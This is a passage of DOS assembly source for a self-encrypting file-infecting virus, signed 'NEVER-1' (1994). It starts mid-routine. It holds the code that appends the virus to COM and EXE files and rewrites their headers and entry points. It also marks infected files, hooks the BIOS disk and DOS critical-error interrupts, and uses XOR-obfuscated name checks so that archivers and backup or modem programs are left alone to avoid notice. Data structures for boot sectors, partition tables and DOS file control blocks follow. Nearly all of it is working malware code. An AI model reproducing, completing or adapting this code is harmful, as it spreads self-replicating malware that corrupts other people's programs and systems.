                call    read_header             ; read first 18h bytes
                jc      inf_bad_file
                mov     si,dx
                mov     di,offset work_header
                cld
                rep     movsb                   ; copy header to work_header
                call    get_dcb
                les     ax,ds:[di.dcb_size]     ; get file size
                mov     dx,es
                mov     word ptr ds:[di.dcb_pos],ax
                mov     word ptr ds:[di.dcb_pos+2],dx ; lseek to end
                push    cs cs
                pop     es ds
                mov     cx,ds:[si]              ; get first 2 bytes
                cmp     cx,'MZ'                 ; .EXE file?
                je      inf_exe
                cmp     cx,'ZM'                 ; .EXE file?
                je      inf_exe
                or      dx,bp                   ; COM file and < 64k?
                jnz     inf_bad_file
                cmp     ax,0-(file_size+100)
                ja      inf_bad_file
                cmp     ax,1000
                jb      inf_bad_file
                mov     byte ptr ds:[si],0e9h   ; build jump
                inc     ah                      ; Add PSP size (100h)
                push    ax                      ; save IP for engine
                add     ax,offset decrypt-103h  ; get jump disp. (- PSP size)
                mov     ds:[si+1],ax
                jmp     append_vir

inf_bad_file:   stc
                retn

inf_exe:        cmp     word ptr ds:[si.eh_max_mem],-1
                jne     inf_bad_file
                mov     bp,ax
                mov     di,dx                   ; save size in DI:BP
                mov     cx,200h
                div     cx                      ; divide into pages
                or      dx,dx                   ; Any remainder?
                jz      no_round
                inc     ax
no_round:       sub     ax,ds:[si.eh_size]      ; size same as header says?
                jne     inf_bad_file
                sub     dx,ds:[si.eh_modulo]
                jne     inf_bad_file
                mov     ax,file_size            ; virus size
                add     ax,bp
                adc     dx,di                   ; + program size
                div     cx                      ; / 512
                or      dx,dx                   ; round up?
                jz      no_round1
                inc     ax
no_round1:      mov     ds:[si.eh_size],ax
                mov     ds:[si.eh_modulo],dx    ; set new size
                mov     bx,0-(file_size+1000)
                xor     cx,cx
get_exe_ip:     cmp     bp,bx                   ; make sure virus does not
                                                ; cross segments
                jb      got_exe_ip
                sub     bp,10h                  ; down 10h bytes
                loop    get_exe_ip              ; up 1 paragraph
got_exe_ip:     cmp     di,0fh
                ja      inf_bad_file
                xchg    cx,ax
                mov     cl,4
                ror     di,cl                   ; get segment displacement
                or      ax,ax
                jz      no_para_add
                sub     di,ax                   ; Add segments from LOOP
                jnc     inf_bad_file
no_para_add:    sub     di,ds:[si.eh_size_header] ; CS-header size in 
                                                ; paragraphs
                push    bp                      ; save offset of v_start
                add     bp,decrypt-v_start
                mov     ds:[si.eh_ip],bp        ; set IP
                mov     ds:[si.eh_cs],di        ; set CS
                add     bp,512                  ; 512 bytes of stack
                mov     ds:[si.eh_sp],bp        ; set SP
                mov     ds:[si.eh_ss],di        ; set SS
                mov     bp,8000h                ; Tell engine "Exe file"
                sar     bx,cl                   ; 0 - ((file_size+1000h)/16)
                mov     ax,ds:[si.eh_min_mem]
                sub     ax,bx                   ; add file_size+1000h/16
                jnb     append_vir
                mov     ds:[si.eh_min_mem],ax

append_vir:     pop     ax
                call    engine                  ; encrypt/write/decrypt
                push    bp             
                popf
                jc      append_vir_err
                call    get_dcb
                mov     word ptr ds:[di.dcb_pos],cx
                mov     word ptr ds:[di.dcb_pos+2],cx ; lseek to start
                mov     ah,40h
                mov     dx,offset work_header
                push    cs
                pop     ds
                call    header_op               ; write new header to file
append_vir_err: retn
                
;=====( Get DCB address for file )===========================================;

get_dcb:        push    ax bx 
                mov     ax,1220h
                mov     bx,cs:handle            ; get file handle
                int     2fh                     ; get DCB number address
                jc      get_dcb_fail
                mov     ax,1216h
                mov     bl,es:[di]              ; get DCB number
                cmp     bl,-1                   ; Handle Openned?
                cmc
                je      get_dcb_fail
                int     2fh                     ; get DCB address
                jc      get_dcb_fail
                push    es
                pop     ds
                test    byte ptr ds:[di.dcb_dev_attr],80h ; device or file?
                cmc
                jne     get_dcb_fail
                test    byte ptr ds:[di.dcb_date+1],80h ; infected?
get_dcb_fail:   pop     bx ax               
                retn

;=====( Swap original 13h/15h/40h addresses with IVT addresses )=============;

int_2_bios:     push    ax bx dx ds
                mov     al,13h                  ; int 13h
                mov     di,offset int_13
int_2_bios_lp:  push    cs
                pop     ds
                call    get_int                 ; get int address               
                mov     dx,es
                xchg    bx,ds:[di]              ; swap offsets
                cld
                scasw
                xchg    dx,bx
                xchg    bx,ds:[di]              ; swap segments
                scasw
                mov     ds,bx                   ; DS:DX=new address
                call    set_int                 ; set int to DS:DX
                cmp     al,15h                  
                mov     al,15h
                jnb     int_2_bios_40           ; CY AL=13h
                add     di,4
                jmp     int_2_bios_lp

int_2_bios_40:  mov     al,40h
                je      int_2_bios_lp           ; ZR AL=15h else AL=40h, exit
                pop     ds dx bx ax
                retn

;=====( Read/write header to file )==========================================;

read_header:    mov     ah,3fh
                cmp     ax,0
                org     $ - 2
write_header:   mov     ah,40h
                mov     dx,offset header
header_op:      mov     cx,18h
                call    call_21_file             ; read/write header
                jc      read_write_err
                sub     ax,cx
read_write_err: retn

;=====( Unhook int 24h )=====================================================;

undo_24:        mov     al,24h
                lds     dx,cs:int_24
                call    set_int                 ; unhook int 24h
                in      al,21h
                and     al,not 2                ; enable keyboard
                out     21h,al
                retn

;=====( Save returns after int 21h call )====================================;

save_returns:   mov     ss:[bp.reg_ax],ax
                pushf
                pop     ss:[bp.reg_f]
                retn

;=====( Return ZF set if ARJ, PKZIP, LHA or MODEM )==========================;

is_specialfile: push    ax cx si di es
                mov     al,0
check_special   =       byte ptr $ - 1
                or      al,al                   ; Check for special?
                jnz     it_is_special
                call    get_psp                 ; get MCB of current PSP
                mov     ax,es:[di]              ; get 1st 2 letters of name
                cmp     ax,'RA'                 ; ARj?
                je      it_is_special
                cmp     ax,'HL'                 ; LHa?
                je      it_is_special
                cmp     ax,'KP'                 ; PKzip?
                je      it_is_special
                mov     cx,2
                mov     si,offset backup
is_it_mod_bak:  push    cx di
                mov     cl,8
                lods    byte ptr cs:[si]        ; get 'B' or 'M'
                xor     al,66h + 6h             ; decrypt
                repne   scasb
                jne     is_it_mod
                cmp     cl,3
                jb      is_it_mod
                mov     cl,4
is_ode_ack:     lods    byte ptr cs:[si]
                xor     al,66h + 6h
                jz      is_it_mod               ; 0 (done)?
                scasb
                loope   is_ode_ack
is_it_mod:      mov     si,offset modem
                pop     di cx
                loopne  is_it_mod_bak
it_is_special:  pop     es di si cx ax
                retn

backup:         db      'B' xor (66h + 6h) 
                db      'A' xor (66h + 6h)
                db      'C' xor (66h + 6h)
                db      'K' xor (66h + 6h)
                db      0   xor (66h + 6h)

modem:          db      'M' xor (66h + 6h)
                db      'O' xor (66h + 6h)
                db      'D' xor (66h + 6h)
                db      'E' xor (66h + 6h)
                db      'M' xor (66h + 6h)


;=====( get current PSP segment )============================================;

get_psp:        push    ax bx
                mov     ah,62h
                call    call_21                 ; get PSP segment
                dec     bx
                mov     es,bx                   ; MCB of current program
                mov     di,8h                   ; offset of file name
                cld
                pop     bx ax
                retn
                
;=====( Get DTA address )====================================================;

get_dta:        mov     ah,2fh
                call    call_21                 ; DTA address into ES:BX
                push    es
                pop     ds
                retn

call_dos_13:    call    swap_13
                pushf
                call    cs:dos_13
                call    swap_13
                retn

call_disk:      test    dl,80h                  ; ZF -> Floppy disk (int 40h)
                je      call_40

call_13:        pushf
                call    cs:int_13
                retn

call_21_file:   mov     bx,0
handle          =       word ptr $ - 2

call_21:        pushf
                push    cs
                call    go_2_21
                retn

call_40:        pushf
                call    cs:int_40
                retn

include eng.asm

                db      "Time has come to pay (c)1994 NEVER-1",0

even

decrypt:        mov     word ptr ds:[100h],1f0eh        ; PUSH CS/POP DS
                mov     byte ptr ds:[102h],0e8h         ; CALL
                jmp     file_start
                
                org     decrypt + 150

header          dw      18h / 2 dup(20cdh)

file_end:

work_header     dw      18h / 2 dup(?)
                
write_buff:     db      encode_end-encode dup(?)

int_21_ss       dw      ?
int_21_sp       dw      ?

                dw      256 / 2 dup(?)
temp_stack:            

jump_code_13    db      5 dup(?)
jump_code_21    db      5 dup(?)

int_1           dd      ?
int_24          dd      ?

int_13          dd      ?
dos_13          dd      ?
int_15          dd      ?
int_40          dd      ?
int_21          dd      ?

new_24:         db      3 dup(?)

push_pop_ret    dw      ?

pointer         dw      ?
disp            dw      ?
encode_ptr      dw      ?
encode_enc_ptr  dw      ?

key_reg         db      ?
count_reg       db      ?
ptr_reg         db      ?
ptr_reg1        db      ?
modify_op       db      ?


origin          db      ?
inst_count      db      ?

disk_buff       db      512 dup(?)

v_end:


;=====( Very useful structures )=============================================;



;=====( Memory Control Block structure )=====================================;

mcb             struc
mcb_sig         db      ?               ; 'Z' or 'M'
mcb_owner       dw      ?               ; attribute of owner
mcb_size        dw      ?               ; size of mcb block
mcb_name        db      8 dup(?)        ; file name of owner
mcb             ends


;=====( For functions 11h and 12h )==========================================;


Directory       STRUC
DS_Drive        db ?
DS_Name         db 8 dup(0)
DS_Ext          db 3 dup(0)
DS_Attr         db ?
DS_Reserved     db 10 dup(0)
DS_Time         dw ?
DS_Date         dw ?
DS_Start_Clust  dw ?
DS_Size         dd ?
Directory       ENDS


;=====( for functions 4eh and 4fh )==========================================;


DTA             STRUC
DTA_Reserved    db 21 dup(0)
DTA_Attr        db ?
DTA_Time        dw ?
DTA_Date        dw ?
DTA_Size        dd ?
DTA_Name        db 13 dup(0)
DTA             ENDS


Exe_Header      STRUC
EH_Signature    dw ?                    ; Set to 'MZ' or 'ZM' for .exe files
EH_Modulo       dw ?                    ; remainder of file size/512
EH_Size         dw ?                    ; file size/512
EH_Reloc        dw ?                    ; Number of relocation items
EH_Size_Header  dw ?                    ; Size of header in paragraphs
EH_Min_Mem      dw ?                    ; Minimum paragraphs needed by file
EH_Max_Mem      dw ?                    ; Maximum paragraphs needed by file
EH_SS           dw ?                    ; Stack segment displacement
EH_SP           dw ?                    ; Stack Pointer
EH_Checksum     dw ?                    ; Checksum, not used
EH_IP           dw ?                    ; Instruction Pointer of Exe file
EH_CS           dw ?                    ; Code segment displacement of .exe
eh_1st_reloc    dw      ?               ; first relocation item
eh_ovl          dw      ?               ; overlay number
Exe_Header      ENDS                      

Boot_Sector             STRUC
bs_Jump                 db 3 dup(?)
bs_Oem_Name             db 8 dup(?)
bs_Bytes_Per_Sector     dw ?
bs_Sectors_Per_Cluster  db ?
bs_Reserved_Sectors     dw ?               
bs_FATs                 db ?             ; Number of FATs
bs_Root_Dir_Entries     dw ?             ; Max number of root dir entries
bs_Sectors              dw ?             ; number of sectors; small
bs_Media                db ?             ; Media descriptor byte
bs_Sectors_Per_FAT      dw ?
bs_Sectors_Per_Track    dw ?               
bs_Heads                dw ?             ; number of heads
bs_Hidden_Sectors       dd ?
bs_Huge_Sectors         dd ?             ; number of sectors; large
bs_Drive_Number         db ?
bs_Reserved             db ?
bs_Boot_Signature       db ?
bs_Volume_ID            dd ?
bs_Volume_Label         db 11 dup(?)
bs_File_System_Type     db 8 dup(?)
Boot_Sector             ENDS
                
                
Partition_Table         STRUC
pt_Code                 db 1beh dup(?)  ; partition table code
pt_Status               db ?            ; 0=non-bootable 80h=bootable
pt_Start_Head           db ?            
pt_Start_Sector_Track   dw ?
pt_Type                 db ?            ; 1 = DOS 12bit FAT 4 = DOS 16bit FAT
pt_End_Head             db ?
pt_End_Sector_Track     dw ?
pt_Starting_Abs_Sector  dd ?
pt_Number_Sectors       dd ?
Partition_Table         ENDS


int_1_stack     STRUC
st_ip           dw ?                    ; offset of next instruction after
                                        ; interrupt
st_cs           dw ?                    ; segment of next instruction
st_flags        dw ?                    ; flags when interrupt was called
int_1_stack     ENDS

;----------------------------------------------------------------------------;
;               Dcb description for DOS 3+                                   ;   
;                                                                            ;
;      Offset  Size    Description                                           ;
;       00h    WORD    number of file handles referring to this file         ;
;       02h    WORD    file open mode (see AH=3Dh)                           ;
;              bit 15 set if this file opened via FCB                        ;
;       04h    BYTE    file attribute                                        ;
;       05h    WORD    device info word (see AX=4400h)                       ;
;       07h    DWORD   pointer to device driver header if character device   ;
;              else pointer to DOS Drive Parameter Block (see AH=32h)        ;
;       0Bh    WORD    starting cluster of file                              ;
;       0Dh    WORD    file time in packed format (see AX=5700h)             ;
;       0Fh    WORD    file date in packed format (see AX=5700h)             ;
;       11h    DWORD   file size                                             ;
;       15h    DWORD   current offset in file                                ;
;       19h    WORD    relative cluster within file of last cluster accessed ;
;       1Bh    WORD    absolute cluster number of last cluster accessed      ;
;              0000h if file never read or written???                        ;
;       1Dh    WORD    number of sector containing directory entry           ;
;       1Fh    BYTE    number of dir entry within sector (byte offset/32)    ;
;       20h 11 BYTEs   filename in FCB format (no path/period, blank-padded) ;
;       2Bh    DWORD   (SHARE.EXE) pointer to previous SFT sharing same file ;
;       2Fh    WORD    (SHARE.EXE) network machine number which opened file  ;
;       31h    WORD    PSP segment of file's owner (see AH=26h)              ;
;       33h    WORD    offset within SHARE.EXE code segment of               ;
;              sharing record (see below)  0000h = none                      ;
;----------------------------------------------------------------------------;                                                                            



dcb             struc
dcb_users       dw      ?
dcb_mode        dw      ?
dcb_attr        db      ?
dcb_dev_attr    dw      ?
dcb_drv_addr    dd      ?
dcb_1st_clst    dw      ?
dcb_time        dw      ?
dcb_date        dw      ?
dcb_size        dd      ?
dcb_pos         dd      ?
dcb_last_clst   dw      ?
dcb_current_clst dw     ?
dcb_dir_sec     dw      ?
dcb_dir_entry   db      ?
dcb_name        db      8 dup(?)
dcb_ext         db      3 dup(?)
dcb_useless1    dw      ?
dcb_useless2    dw      ?
dcb_useless3    dw      ?
dcb_psp_seg     dw      ?
dcb_useless4    dw      ?
dcb             ends

bpb                     STRUC
bpb_Bytes_Per_Sec       dw ?
bpb_Sec_Per_Clust       db ?
bpb_Reserved_Sectors    dw ?               
bpb_FATs                db ?             ; Number of FATs
bpb_Root_Dir_Entries    dw ?             ; Max number of root dir entries
bpb_Sectors             dw ?             ; number of sectors; small
bpb_Media               db ?             ; Media descriptor byte
bpb_Sectors_Per_FAT     dw ?
bpb_Sectors_Per_Track   dw ?               
bpb_Heads               dw ?             ; number of heads
bpb_Hidden_Sectors      dd ?
bpb_Huge_Sectors        dd ?             ; number of sectors; large
bpb_Drive_Number        db ?
bpb_Reserved            db ?
bpb_Boot_Signature      db ?
bpb_Volume_ID           dd ?
bpb_Volume_Label        db 11 dup(?)
bpb_File_System_Type    db 8 dup(?)
bpb                     ENDS


register        struc
reg_es          dw      ?
reg_ds          dw      ?
reg_di          dw      ?
reg_si          dw      ?
reg_bp          dw      ?
reg_dx          dw      ?
reg_cx          dw      ?
reg_bx          dw      ?
reg_ax          dw      ?
reg_f           dw      ?
register        ends

sys_file        struc
sys_next        dd      ?
sys_strat       dw      ?
sys_int         dw      ?
sys_file        ends
                
                
                end